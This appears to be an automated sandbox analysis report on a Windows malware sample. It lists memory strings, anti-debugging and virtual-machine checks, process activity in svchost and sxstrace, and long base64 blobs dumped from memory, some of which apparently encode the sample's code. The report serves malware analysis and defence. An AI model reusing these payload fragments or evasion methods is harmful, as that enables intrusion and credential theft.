i7opdBGLnPZhyun7+uCfZqSsWza98wpPuJ72852CZcs88CkBMjUNAOzEL2R0utwxuz0aAcGwPLOd1VjA9bhz6LK3AQGa9SUBQMbe3PO432KIAuiYLNxqYoPjP3QgylGnVYBGwmZF32c6Fgi3xdqo6FVHQyA+Vz4Zp1zCZ3MGwUP22YJ8o2whQ8pLCa9WeOlHyHGQonGXQgg3v8ubAaldtcAZ65i2bu0gIKx29jdFgi1L3Q24FocGETjiCfzCk4Fkg7Bi1ftT5oAB/r3MMKlcbR0i5rRHcWFVxW0n3ImjjADm/nhwWgAd/niGuR95M2fkgpqhkoWeChJvD8wJRzSWJTESfj84C57IiE+Hb9aSaRElPyoGLR186j8Gd9ITrWlO5V/wz/dvFnmuyM772n8pHJFLYtS7PE3BDiVR2FjXgoI3xNBMzbLM7XVSkeg/2o8vrHCWp2OwOglJW1anHqjZxqwhn0Y+sxtVHXzr/jYNnFSnHhI09TjoP2pmgpEkYaoA/wWRujAVfGGugDBLe4YtPIIHGNr1JeDLxcJtpKY/qiNe2ZjF6FE677E+4ssIWOieXLDqSv/m1em+6Rct1DFZ2rILVb1w8uIVHcT6BPFU1fad1RigVSaqm1c6VwoaO5j4APcm7I+b6gy11yyNc2i9E99q9KRctSfYoUUkNnl5QEETkMXME+WoINBsL0NpMOgzWbIm+sNFTlNi88ePNVAUNR9w/GrCLUj0Y/T8KoMizsWnLslvQ7g1l2SGjLfPIZsGsa7a0TFUfDkjZ8IF5nlYaEB1oNgOCWUUC9RvfOOJVA6/eIKDBxH77rtELtIqh6ZUeWlsBM8aqXuAShFYhDMnCD99T99hcabsuFS7/Fh3xADDIWXqk5F+gCV+nCitJ9EaixEi+V2OIYCMvcTBZpk2/4hA7/Z85N5geKXFvaT0kMSLACVdORF7IUaO+JuECogA5dXro7JRmB6dY0hRU8Zt0Hz5R2ooFFym+es4q98X3kFTBMrrF6E3YDvegZm+lbkZMY4Dwm/Xb4xR++rFfoI0c/WRUYB5tPh3VXrvKN3xAG5xxIJB6SWHPX4xtHBJhCCMfuZoCt2o8ne0/TyD92y8Mc1SAlRfXW/e0Up7V6cXBiuD9zxCVjm2Pbl5DIDlUgsxYZLZAXzcMz9ssipx9TGKMay1hEMcyKBZC5iBxaRVSTNKdAq/g+4HJtlRAYsQKrh+AhTDsraJPFcrAXxInCyXUGZtltBHeM55l6/XLkNFW5A1c3yODX7PjXewY0qgMFUewlFTtAn5aeAlvs4W0Vv6Isjp9g4BBDFhxT+lFy84WoLsB3D6X7AnlcYGE8vMOB6qniogEu26qt4ikLvHHFP7uBpD3C0Gj/hzLX6nBxi1KaGYUxGPXwEq4RsNDjBu5syosu9GlFzTU+zrTuW03XXMmfVTxxr4OtGIGUaJCcdAWXFRMt43yT+cSyRiedp54zZ3v3bkMPTVZhmJ+ABiV6MerFizD3Vv0L0+fhkPga2w3X8AIpXlXHdQc6HTth79FR5IiKKiTkW
Source: G1Y9-55.9.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: x.exe, 00000005.00000002.1602219243.0000000000F3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwareworkstation.exe~7
Source: G1Y9-55.9.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: G1Y9-55.9.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: sxstrace.exe, 00000009.00000002.2791528045.0000000002653000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: G1Y9-55.9.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: G1Y9-55.9.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: G1Y9-55.9.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: wscript.exe, 00000001.00000003.1676109092.0000026A7FC81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: sxstrace.exe, 00000009.00000002.2796871767.000000000756C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: agement pageVMware20,11696494690
Source: wscript.exe, 00000001.00000003.1678430409.0000026A7FB80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 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
Source: sxstrace.exe, 00000009.00000002.2796871767.000000000756C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: sswords blocklistVMware20,11696494690

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\sxstrace.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 6_2_03AAD1C0 rdtsc

6_2_03AAD1C0

Source: C:\Windows\SysWOW64\svchost.exe

Code function: 6_2_00417CB3 LdrLoadDll,

6_2_00417CB3

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002C6AAF BlockInput,

5_2_002C6AAF

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_00273D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

5_2_00273D19

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_002A3920 LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,IsDebuggerPresent,OutputDebugStringW,

5_2_002A3920

Source: C:\Users\user\AppData\Local\Temp\x.exe

Code function: 5_2_0028E01E LoadLibraryA,GetProcAddress,

5_2_0028E01E

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_010C6220 mov eax, dword ptr fs:[00000030h]	5_2_010C6220
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_010C6280 mov eax, dword ptr fs:[00000030h]	5_2_010C6280
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 5_2_010C4C00 mov eax, dword ptr fs:[00000030h]	5_2_010C4C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A533A5 mov eax, dword ptr fs:[00000030h]	6_2_03A533A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A633A0 mov eax, dword ptr fs:[00000030h]	6_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A633A0 mov eax, dword ptr fs:[00000030h]	6_2_03A633A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2E388 mov eax, dword ptr fs:[00000030h]	6_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2E388 mov eax, dword ptr fs:[00000030h]	6_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A2E388 mov eax, dword ptr fs:[00000030h]	6_2_03A2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5438F mov eax, dword ptr fs:[00000030h]	6_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5438F mov eax, dword ptr fs:[00000030h]	6_2_03A5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B0539D mov eax, dword ptr fs:[00000030h]	6_2_03B0539D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A8739A mov eax, dword ptr fs:[00000030h]	6_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A8739A mov eax, dword ptr fs:[00000030h]	6_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A28397 mov eax, dword ptr fs:[00000030h]	6_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A28397 mov eax, dword ptr fs:[00000030h]	6_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A28397 mov eax, dword ptr fs:[00000030h]	6_2_03A28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEF3E6 mov eax, dword ptr fs:[00000030h]	6_2_03AEF3E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03B053FC mov eax, dword ptr fs:[00000030h]	6_2_03B053FC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A403E9 mov eax, dword ptr fs:[00000030h]	6_2_03A403E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	6_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	6_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A4E3F0 mov eax, dword ptr fs:[00000030h]	6_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A663FF mov eax, dword ptr fs:[00000030h]	6_2_03A663FF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEC3CD mov eax, dword ptr fs:[00000030h]	6_2_03AEC3CD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A3A3C0 mov eax, dword ptr fs:[00000030h]	6_2_03A3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A383C0 mov eax, dword ptr fs:[00000030h]	6_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A383C0 mov eax, dword ptr fs:[00000030h]	6_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A383C0 mov eax, dword ptr fs:[00000030h]	6_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A383C0 mov eax, dword ptr fs:[00000030h]	6_2_03A383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB63C0 mov eax, dword ptr fs:[00000030h]	6_2_03AB63C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AEB3D0 mov ecx, dword ptr fs:[00000030h]	6_2_03AEB3D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF132D mov eax, dword ptr fs:[00000030h]	6_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AF132D mov eax, dword ptr fs:[00000030h]	6_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A5F32A mov eax, dword ptr fs:[00000030h]	6_2_03A5F32A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03A27330 mov eax, dword ptr fs:[00000030h]	6_2_03A27330
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB930B mov eax, dword ptr fs:[00000030h]	6_2_03AB930B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 6_2_03AB930B mov eax, dword ptr fs:[00000030h]	6_2_03AB930B
